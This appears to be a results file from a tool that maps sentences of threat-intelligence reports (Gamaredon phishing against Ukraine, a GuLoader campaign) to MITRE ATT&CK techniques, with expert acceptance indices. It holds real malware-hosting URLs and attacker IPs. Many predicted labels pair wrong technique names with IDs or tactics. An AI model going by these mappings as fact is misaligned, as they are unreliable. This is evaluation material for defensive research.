The threat actor used a generic web panel to craft and send phishing emails against Ukrainian government entities. This allowed the actor to automate the malware delivery process against specific targets entered by the attackers in the email recipient section of the panel's user interface.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	2	[0, 1]
Pivoted IP addresses overlap with previously reported Gamaredon activity (8).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1591', 'technique': 'New Service'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1591.002', 'technique': 'Pass the Ticket'}]	2	[0, 1]
EclecticIQ analysts discovered a publicly facing SMTP server 194[.]180[.]191[.]56 used in a spear phishing campaign against Ukrainian government entities in February 2023.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Use Alternate Protocol: Application Layer Protocol SMTP'}]	1	[0]
The exposed SMTP server hosts a web panel for crafting and delivering spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[0]
Analysts assess with high confidence that the threat actor used this infrastructure to send large number of spear phishing emails automatically.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1588', 'technique': 'Abuse Elevation Control Mechanism'}]	2	[0, 1]
EclecticIQ analysts identified these two different spear-phishing emails sent from 194[.]180[.]191[.]56. Both of these emails contain a RAR archive file as an attachment, which are used to deliver the initial malware. Figures 2 and 3 showed two different malware execution flows, sent on Wed, 15 Feb 2023 17:10:18 +0200 and Wed, 08 Feb 2023 17:15:44 which are identical to previous Gamaredon campaigns (1).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Figure 4 shows the origin of the phishing email and spoofed email address:	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1583', 'technique': 'Taint Shared Content'}, {'taid': 'TA0014', 'tactic':	2	[0, 1]

	'Impact', 'tid': 'T1583', 'technique': 'Taint Shared Content'}]		
The server had port 80 open for use by the threat actor for crafting spear phishing emails via a simple user interface seen in figure 5.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[0]
The web panel allowed the threat actor to send emails using the hardcoded sender address pivn-kr@prokuratura[.]dp[.]ua. EclecticIQ analysts identified the same email address in a recent phishing email campaign sent to a Ukrainian military address on February 9, 2023 (5), indicating that the exposed panel was very likely used for malware delivery.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[0]
EclecticIQ analysts identified that the ".htaccess" file on the exposed SMTP server was misconfigured. The ".htaccess" file is a directory-level configuration to limit access to a web server from trusted IP addresses only. According to the Apache documentation, users must insert all IP filters inside the "<RequireAll>" tag (7). However, this tag was missing in the configuration used by threat actor.	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1210', 'technique': 'Exploitation for Lateral Movement'}]	1	[0]
Analysts identified five IP addresses in the ".htaccess" file (figure 6): 109[.]200[.]159[.]40 151[.]236[.]30[.]50 109[.]200[.]159[.]59 109[.]200[.]159[.]46 192[.]121[.]87[.]11	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1136', 'technique': 'Create Account'}]	1	[0]
The majority of the pivoted IP addresses are located in Moscow, Russia from the same server provider, Crelcom LLC (AS 6789). WHOIS records show that one of the IP addresses - 109[.]200[.]159[.]46 - was registered under the name Michael Tishin. The same name is also listed as registrant for another IP - 109[.]200[.]159[.]54. This IP was attributed to Gamaredon by BlackBerry on January 19, 2023 (8).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
The adversary TTPs and victimology overlap with Gamaredon activity previously reported by EclecticIQ and other researchers starting in 2020 (1).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1071.001', 'technique': 'Application Layer Protocol Web Protocols'}]	1	[0]
EclecticIQ analysts identified one IP address 109[.]200[.]159[.]59 in the ".htaccess" file that links to a spear phishing email submitted to VirusTotal on November 20, 2020. In May 2022, Cisco reported the campaign and attributed the activity to Gamaredon (2, 4).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Figure 7 shows the connection between the pivoted IP addresses and malicious files uploaded to VirusTotal. The IP address links to a spear phishing email with a malicious attachment. The attachments exploit CVE-2017-0199, a Microsoft Office remote code execution vulnerability in Windows.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	2	[0, 1]
Figure 8 shows that spear phishing email was sent to the Security Service of Ukraine (SSU) on November 19, 2020. It contained a malicious Word document attachment used for malware delivery. The email sender section was spoofed by threat actors to make the email look legitimate.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Figure 9 displays the metadata of the spear phishing email. The "X-Sender-IP" field in the metadata reveals the IP address	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid':	2	[0, 1]

109[.]200[.]159[.]59 of the sender. This IP address does not match the domain name (i.ua) in the "From" field, proving it is a spoofed email.	'TA0003', 'tactic': 'Persistence', 'tid': 'T1492', 'technique': 'Network Address Translation Traversal'}]		
Once a victim opens the delivered malicious Word document, it will exploit CVE-2017-0199. If the exploitation is successful, then it will download a second-stage malware from the domain erythrocephala[.]online, which has been attributed to Gamaredon.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1107', 'technique': 'File Download'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1071', 'technique': 'Application Layer Protocol Web Protocols'}]	3	[0, 1, 2]
EclecticIQ analysts assess with high confidence that Russian government-linked APTs will continue to use social engineering tactics during cyberattacks against Ukraine. Additionally, they are expected to increasingly target NATO partners due to NATO's support of Ukraine during the Russian war.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'Service Stop'}]	2	[0, 1]
It is very likely that the threat actor will modify their TTPs to avoid detection that will increase their chances of success, especially during the malware delivery stage.	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
Regularly educate employees: Phishing attacks often rely on social engineering to trick recipients into divulging sensitive information or performing a certain action. By educating employees on how to recognize and avoid phishing emails, you can reduce the risk of a successful attack.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1213', 'technique': 'Phishing for Information'}, {'taid': 'TA0007', 'tactic': 'Defense Evasion', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	2	[0, 1]
Implement SPF, DKIM, and DMARC to prevent email spoofing: SPF specifies authorized IP addresses and domains, DKIM signs outgoing emails with a digital signature, and DMARC builds upon SPF and DKIM to provide comprehensive protection by allowing domain owners to specify handling for failed checks.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1565', 'technique': 'Default Accounts'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1565.001', 'technique': 'Service Account Passwords'}]	2	[0, 1]
Install updates: Microsoft released patches and updates to fix vulnerabilities such as CVE-2017-0199. Users must install these patches and updates when they are released to minimize exploitation.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1201', 'technique': 'Exploitation of Remote Services'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1202', 'technique': 'Exploitation for Client-Side Execution'}]	2	[0, 1]
Implement Content Filtering: Content filtering can be used to block specific files from being downloaded or received by email. This can prevent users from unintentionally opening and executing malicious files.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.002', 'technique': 'Malicious Link'}]	2	[0, 1]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
On February 09, 2023, EclecticIQ analysts identified a spear phishing campaign targeting Ukrainian government entities like the Foreign Intelligence Service of Ukraine (SZRU) and Security Service of Ukraine (SSU).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[]
Analysts identified a publicly exposed Simple Mail Transfer Protocol (SMTP) server and assess with high confidence that the threat actor used the SMTP server to craft and deliver phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Use Alternate Protocol: Application Layer Protocol SMTP'}]	1	[]

The SMTP server contained a web panel designed to create and distribute spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[]
It enables the email to have a malicious attachment and leverages email spoofing techniques to make it appear from a legitimate source.	[{'taid': 'TA0008', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Observed adversary tactics, techniques, and procedures (TTPs), victimology, and infrastructure found in the SMTP server configuration overlap with previously identified Gamaredon activity.	[{'taid': 'TA0040', 'tactic': 'Tactic Decoy', 'tid': 'T1498', 'technique': 'Virtualization/Sandbox Evasion'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.002', 'technique': 'Hijack Execution Flow'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.001', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.003', 'technique': 'Create or Modify System Process'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.004', 'technique': 'Registry Run Keys / Start Folder'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.005', 'technique': 'Kernel Modules and Extensions'}, {'taid': 'TA0040', 'tactic': 'Tactic Decoy', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Detection'}]	12	[]
Gamaredon APT group is believed to be a Russian State-backed threat group linked to the Federal Security Service (FSB).	[{'taid': 'TA0049', 'tactic': 'Establish & Maintain Infrastructure', 'tid': 'T1324', 'technique': 'Customized Tool Development'}]	1	[]
Gamaredon is known for its cyberespionage activities, primarily targeting Ukrainian government entities.	[{'taid': 'TA0043', 'tactic': 'Survey & Reconnaissance', 'tid': 'T1593.001', 'technique': 'Active Scanning'}]	1	[]
The group uses spear phishing emails and social engineering lures as a primary tactic.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1593', 'technique': 'Phishing'}]	1	[0]
The threat actor used a generic web panel to craft and send phishing emails against Ukrainian government entities. This allowed the actor to automate the malware delivery process against specific targets entered by the attackers in the email recipient section of the panel's user interface.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	2	[]
Pivoted IP addresses overlap with previously reported Gamaredon activity (8).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1591', 'technique': 'New Service'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1591.002', 'technique': 'Pass the Ticket'}]	2	[]
EclecticIQ analysts discovered a publicly facing SMTP server 194[.]180[.]191[.]56 used in a spear phishing campaign against Ukrainian government entities in February 2023.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Use Alternate Protocol: Application Layer Protocol SMTP'}]	1	[]
The exposed SMTP server hosts a web panel for crafting and delivering spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[]

Analysts assess with high confidence that the threat actor used this infrastructure to send large number of spear phishing emails automatically.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1588', 'technique': 'Abuse Elevation Control Mechanism'}]	2	[]
EclecticIQ analysts identified these two different spear-phishing emails sent from 194[.]180[.]191[.]56. Both of these emails contain a RAR archive file as an attachment, which are used to deliver the initial malware. Figures 2 and 3 showed two different malware execution flows, sent on Wed, 15 Feb 2023 17:10:18 +0200 and Wed, 08 Feb 2023 17:15:44 which are identical to previous Gamaredon campaigns (1).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Figure 4 shows the origin of the phishing email and spoofed email address:	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1583', 'technique': 'Taint Shared Content'}, {'taid': 'TA0014', 'tactic': 'Impact', 'tid': 'T1583', 'technique': 'Taint Shared Content'}]	2	[]
The server had port 80 open for use by the threat actor for crafting spear phishing emails via a simple user interface seen in figure 5.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[]
The web panel allowed the threat actor to send emails using the hardcoded sender address pivn-kr@prokuratura[.]dp[.]ua. EclecticIQ analysts identified the same email address in a recent phishing email campaign sent to a Ukrainian military address on February 9, 2023 (5), indicating that the exposed panel was very likely used for malware delivery.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[]
EclecticIQ analysts identified that the ".htaccess" file on the exposed SMTP server was misconfigured. The ".htaccess" file is a directory-level configuration to limit access to a web server from trusted IP addresses only. According to the Apache documentation, users must insert all IP filters inside the "<RequireAll>" tag (7). However, this tag was missing in the configuration used by threat actor.	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1210', 'technique': 'Exploitation for Lateral Movement'}]	1	[]
Analysts identified five IP addresses in the ".htaccess" file (figure 6): 109[.]200[.]159[.]40 151[.]236[.]30[.]50 109[.]200[.]159[.]59 109[.]200[.]159[.]46 192[.]121[.]87[.]11	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1136', 'technique': 'Create Account'}]	1	[]
The majority of the pivoted IP addresses are located in Moscow, Russia from the same server provider, Crelcom LLC (AS 6789). WHOIS records show that one of the IP addresses - 109[.]200[.]159[.]46 - was registered under the name Michael Tishin. The same name is also listed as registrant for another IP - 109[.]200[.]159[.]54. This IP was attributed to Gamaredon by BlackBerry on January 19, 2023 (8).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[]
The adversary TTPs and victimology overlap with Gamaredon activity previously reported by EclecticIQ and other researchers starting in 2020 (1).	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1071.001', 'technique': 'Application Layer Protocol Web Protocols'}]	1	[]
EclecticIQ analysts identified one IP address 109[.]200[.]159[.]59 in the ".htaccess" file that links to a spear phishing email submitted to VirusTotal on November 20, 2020. In May 2022, Cisco reported the campaign and attributed the activity to Gamaredon (2, 4).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]

Figure 7 shows the connection between the pivoted IP addresses and malicious files uploaded to VirusTotal. The IP address links to a spear phishing email with a malicious attachment. The attachments exploit CVE-2017-0199, a Microsoft Office remote code execution vulnerability in Windows.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	2	[0, 1]
Figure 8 shows that spear phishing email was sent to the Security Service of Ukraine (SSU) on November 19, 2020. It contained a malicious Word document attachment used for malware delivery. The email sender section was spoofed by threat actors to make the email look legitimate.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Figure 9 displays the metadata of the spear phishing email. The "X-Sender-IP" field in the metadata reveals the IP address 109[.]200[.]159[.]59 of the sender. This IP address does not match the domain name (i.ua) in the "From" field, proving it is a spoofed email.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1492', 'technique': 'Network Address Translation Traversal'}]	2	[0]
Once a victim opens the delivered malicious Word document, it will exploit CVE-2017-0199. If the exploitation is successful, then it will download a second-stage malware from the domain erythrocephala[.]online, which has been attributed to Gamaredon.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1107', 'technique': 'File Download'}, {'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1071', 'technique': 'Application Layer Protocol Web Protocols'}]	3	[0, 1]
EclecticIQ analysts assess with high confidence that Russian government-linked APTs will continue to use social engineering tactics during cyberattacks against Ukraine. Additionally, they are expected to increasingly target NATO partners due to NATO's support of Ukraine during the Russian war.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'Service Stop'}]	2	[0]
It is very likely that the threat actor will modify their TTPs to avoid detection that will increase their chances of success, especially during the malware delivery stage.	[{'taid': 'TA0005', 'tactic': 'Lateral Movement', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
Regularly educate employees: Phishing attacks often rely on social engineering to trick recipients into divulging sensitive information or performing a certain action. By educating employees on how to recognize and avoid phishing emails, you can reduce the risk of a successful attack.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1213', 'technique': 'Phishing for Information'}, {'taid': 'TA0007', 'tactic': 'Defense Evasion', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	2	[0]
Implement SPF, DKIM, and DMARC to prevent email spoofing: SPF specifies authorized IP addresses and domains, DKIM signs outgoing emails with a digital signature, and DMARC builds upon SPF and DKIM to provide comprehensive protection by allowing domain owners to specify handling for failed checks.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1565', 'technique': 'Default Accounts'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1565.001', 'technique': 'Service Account Passwords'}]	2	[]
Install updates: Microsoft released patches and updates to fix vulnerabilities such as CVE-2017-0199. Users must install these patches and updates when they are released to minimize exploitation.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1201', 'technique': 'Exploitation of Remote Services'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1202', 'technique': 'Exploitation for Client-Side Execution'}]	2	[0, 1]
Implement Content Filtering: Content filtering can be used to block specific files from being downloaded or received by email. This can prevent users from unintentionally opening and executing malicious files.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1566.002', 'technique': 'Malicious Link'}]	2	[0]

Test Report 6 GuLoader Targeting the Financial Sector Using a Tax-themed…

URL: https://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-themed-phishing-lure

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as infostealers and Remote Access Trojans (RATs).	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'GuLoader'], ['malware', 'CloudEyE']]	1	[0]
The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected ZIP archive (Figure 1).	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.002', 'technique': 'SpearphishingLink'}]	[]	1	[0]
The shortcut file leverages PowerShell to retrieve additional payloads from the website.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'shortcut']]	1	[0]
Here is the example of the spawned PowerShell one-liner command:	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
First, the command retrieves the VBS file from the encoded domain that translates to http://109.206.240.67/xlog/Blotlg.vbs.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The PDF file is then automatically opened to distract the user from the malicious VBS script execution in the background (Figure 4).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys and executing the GuLoader payload via PowerShell (Figures 5-6).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'GuLoader']]	3	[0, 1, 2]
Figure 5: The obfuscated VBS file	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
GuLoader achieves persistence via Registry Run Keys (Figure 7).	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1547.001', 'technique': 'RegistryRunKeysStartupFolder'}]	[['malware', 'GuLoader']]	1	[0]
The registry data is a PowerShell command that retrieves the value of the 'Parlando' property for the registry key located at 'HKCU:\State'.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]

The “State” registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in memory (Figure 8).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Figure 8: Obfuscated PowerShell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]	[]	2	[0, 1]
Upon decoding the script, we can observe that the PowerShell script is responsible for executing two shellcode buffers that are Base64-decoded and converted into a byte array.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Figure 9: Decoded PowerShell secondary script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The shellcode retrieves the Remcos RAT from the web server (http://109.206.240.67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe process.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['tool', 'Remcos'], ['malware', 'ieinstal.exe']]	1	[0]
PowerShell obfuscated script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[['malware', 'PowerShell']]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
GuLoader, also known as CloudEyE, is a loader malware that is known to deliver additional malware, such as infostealers and Remote Access Trojans (RATs).	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'GuLoader'], ['malware', 'CloudEyE']]	1	[0]
The phishing email contained a shared link to Adobe Acrobat, where the user could download the password-protected ZIP archive (Figure 1).	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.002', 'technique': 'SpearphishingLink'}]	[]	1	[0]
The shortcut file leverages PowerShell to retrieve additional payloads from the website.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['malware', 'shortcut']]	1	[0]
Here is the example of the spawned PowerShell one-liner command:	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
First, the command retrieves the VBS file from the encoded domain that translates to http://109.206.240.67/xlog/Blotlg.vbs.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The VBS file is saved under C:\Windows\Tasks and Remplice.vbs.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]

The PDF file is then automatically opened to distract the user from the malicious VBS script execution in the background (Figure 4).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
The obfuscated VBS script is responsible for writing the base64-encoded GuLoader shellcode payload to registry keys and executing the GuLoader payload via PowerShell (Figures 5-6).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'GuLoader']]	3	[0, 1]
Figure 5: The obfuscated VBS file	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB'}]	[]	1	[0]
GuLoader achieves persistence via Registry Run Keys (Figure 7).	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1547.001', 'technique': 'RegistryRunKeysStartupFolder'}]	[['malware', 'GuLoader']]	1	[0]
The registry data is a PowerShell command that retrieves the value of the 'Parlando' property for the registry key located at 'HKCU:\State'.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The "State" registry key contains the obfuscated PowerShell script that reflectively loads the GuLoader shellcode in memory (Figure 8).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Figure 8: Obfuscated PowerShell script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The secondary PowerShell script contains the strings that are XOR-ed with the decimal 50 (Figure 9).	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}, {'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1027', 'technique': 'ObfuscatedFilesorInformation'}]	[]	2	[0, 1]
Upon decoding the script, we can observe that the PowerShell script is responsible for executing two shellcode buffers that are Base64-decoded and converted into a byte array.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
Figure 9: Decoded PowerShell secondary script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[]	1	[0]
The shellcode retrieves the Remcos RAT from the web server (http://109.206.240.67/xlog/TkhoWbbRT180.pfm) and injects it into the ieinstal.exe process.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['tool', 'Remcos'], ['malware', 'ieinstal.exe']]	1	[0]
PowerShell obfuscated script	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': 'PowerShell'}]	[['malware', 'PowerShell']]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
Adversaries don't work 9-5 and neither do we.	[{'taid': 'T1020', 'tactic': 'Initial Access', 'tid': 'T1078', 'technique': 'Valid Accounts'}]	1	[0]
